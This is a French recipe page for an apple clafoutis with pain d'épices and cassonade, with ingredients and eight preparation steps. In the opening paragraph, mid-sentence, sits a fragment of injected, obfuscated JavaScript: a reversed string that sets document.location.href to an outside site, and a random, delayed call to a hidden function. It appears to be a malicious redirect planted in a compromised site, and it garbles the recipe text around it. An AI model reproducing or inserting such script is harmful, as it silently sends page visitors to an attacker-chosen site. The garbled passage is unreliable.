Clafoutis au pain d’épices et à la cassonade
2016-12-19- Cuisine : Clafoutis, Pain d'épices
Dans une casserole faites chauffer le lait et la crème fleurette. Réservez. Emiettez les tranches de pain d’épices. Incorporez dans le lait / crème fleurette, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant, hors du feu. Réservez.
Ingrédients
- Pour 4 pommes
- 4 pommes
- 1 jus de citron
- 6 tranches de pain d'épices
- 20 cl de lait
- 20 cl de crème fleurette
- 3 œufs entiers
- 150 g de cassonade
- 50 g de farine
- Quelques noisettes de beurre
Préparation de la recette
Etape 1
Dans une casserole faites chauffer le lait et la crème fleurette. Réservez.
Etape 2
Emiettez les tranches de pain d'épices
Etape 3
Incorporez dans le lait / crème fleurette, tout en remuant, hors du feu. Réservez.
Etape 4
Fouettez les œufs avec la cassonade, ajoutez peu à peu la farine, et versez le lait chaud / crème fleurette / pain d'épices, par petites quantités, sans s'arrêter de remuer.
Etape 5
Pelez, coupez en fines lamelles les pommes. Les citronner pour éviter qu'elles noircissent.
Etape 6
. Répartissez les dans un moule à manqué et beurré.
Etape 7
Versez l'appareil à pain d'épices dessus. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes.
Etape 8
Laissez refroidir et dégustez froid.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette